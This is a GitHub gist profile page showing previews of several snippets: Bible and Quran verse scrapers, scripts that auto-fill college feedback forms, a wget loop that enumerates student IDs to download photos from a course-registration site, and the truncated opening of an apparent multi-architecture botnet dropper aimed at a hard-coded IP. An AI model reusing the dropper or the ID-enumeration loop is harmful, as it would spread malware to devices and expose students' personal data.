Skip to content

Instantly share code, notes, and snippets.

View acagastya's full-sized avatar

Agastya Chandrakant acagastya

View GitHub Profile
for i in {1..9}
do
wget http://autonomous.nie.ac.in/coursereg/Handler1.ashx?id=4NI18EE00$i:20 -O $i.jpg
done
#read a
for i in {10..50}
do
wget http://autonomous.nie.ac.in/coursereg/Handler1.ashx?id=4NI18EE0$i:20 -O $i.jpg
done
(function staffAppr() {
let id =
'ctl00_ContentPlaceHolder1_WebPartManager1_gwpPanelStaffDetails_gdvRating';
try {
const a = [...document.getElementById(id).rows];
a.shift();
a.forEach(row => {
row.cells[2].children[0].value = row.cells[1].innerHTML.split(
'-'
)[1];
(function submitFeedback() {
let id =
'ctl00_ContentPlaceHolder1_WebPartManager1_gwpPanelNBAFeedback_Wizard1_gdvStudentQ1';
try {
const a = [...document.getElementById(id).rows];
a.shift();
const b = a.map(el => el.cells[2].children[0]);
b.forEach(el => (el.checked = true));
}catch{}
id =
#!/bin/sh
u="asgknskjdgn"
bin_names="mips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
#!/usr/bin/python3
from bs4 import BeautifulSoup as bsp
import requests
import sys
url = 'https://www.biblegateway.com/passage/?version=KJV&search=' + str(sys.argv[1]) + '%20' + str(sys.argv[2])
page = requests.get(url)
#!/usr/bin/python3
from bs4 import BeautifulSoup as bsp
import requests
import sys
url = "https://quran.com/" + str(sys.argv[1]).replace(":", "/")
page = requests.get(url)
if page.status_code == 404:
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.